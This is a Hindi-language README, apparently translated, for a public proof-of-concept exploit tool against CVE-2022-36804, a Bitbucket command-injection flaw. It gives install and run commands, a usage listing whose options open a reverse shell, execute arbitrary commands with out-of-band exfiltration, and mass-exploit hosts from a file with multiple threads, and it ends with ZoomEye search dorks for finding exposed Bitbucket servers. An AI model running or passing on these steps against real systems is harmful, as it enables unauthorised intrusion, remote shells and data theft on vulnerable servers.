मूल परियोजना

https://github.com/BenHays142/CVE-2022-36804-PoC-Exploit

CVE-2022-36804-PoC-Exploit

CVE-2022-36804 (BitBucket गंभीर कमांड इंजेक्शन) के लिए एक अपेक्षाकृत विश्वसनीय PoC शोषण। यह हमला आमतौर पर सार्वजनिक रिपॉजिटरी सक्षम होने की आवश्यकता होती है, हालांकि सत्र कुकीज़ भी इस शोषण के साथ संगत हैं। नोट: इस शोषण में स्वचालित रिपो खोज शामिल है जो उपयोगी है यदि आप स्वयं खुले रिपो मैन्युअल रूप से खोजना नहीं चाहते हैं।

कैसे स्थापित करें

git clone https://github.com/Chocapikk/CVE-2022-36804-ReverseShell.git;
cd CVE-2022-36804-ReverseShell
python3 -m pip install -r requirements.txt
python3 main.py --server [target]

कैसे उपयोग करें

usage: main.py [-h] [--server SERVER] [--project PROJECT] [--repo REPO] [--skip-auto]
               [--session SESSION] [--command CMD] [--file FILE] [--output OUTPUT]
               [--lhost LHOST] [--lport LPORT] [--threads THREADS]

Exploit BitBucket Instances (< v8.3.1) using CVE-2022-36804. Exploits automagically
without any extra parameters, but allows for custom settings as well.

options:
  -h, --help         यह सहायता संदेश दिखाएँ और बाहर निकलें
  --server SERVER    हमला करने का होस्ट
  --project PROJECT  उस प्रोजेक्ट का नाम जहाँ रिपॉजिटरी स्थित है
  --repo REPO        रिपॉजिटरी का नाम
  --skip-auto        शोषण योग्य रिपो की स्वचालित खोज को छोड़ें
  --session SESSION  'BITBUCKETSESSIONID' कुकी का मान, उपयोगी यदि लक्ष्य रिपो निजी है
  --command CMD      शोषण सफल होने पर निष्पादित करने का आदेश (नोट: आउटपुट प्राप्त करना विश्वसनीय नहीं है, इसलिए OOB एक्सफिल अनिवार्य है)
  --file FILE        बल्क होस्ट को स्कैन करने की फ़ाइल
  --output OUTPUT    सत्र के लिए आउटपुट फ़ाइल
  --lhost LHOST      रिवर्स शेल के लिए आपका स्थानीय होस्ट
  --lport LPORT      रिवर्स शेल के लिए आपका स्थानीय पोर्ट
  --threads THREADS  सामूहिक शोषण के लिए थ्रेड

Zoomeye Dorks

app:"Bitbucket" +banner:"repos?visibility=public"

app:"Bitbucket" +title:"public"

app:"Bitbucket"

iconhash:667017222

संदर्भ

Atlassian सलाहकार

Atlassian Jira मुद्दा

NIST CVE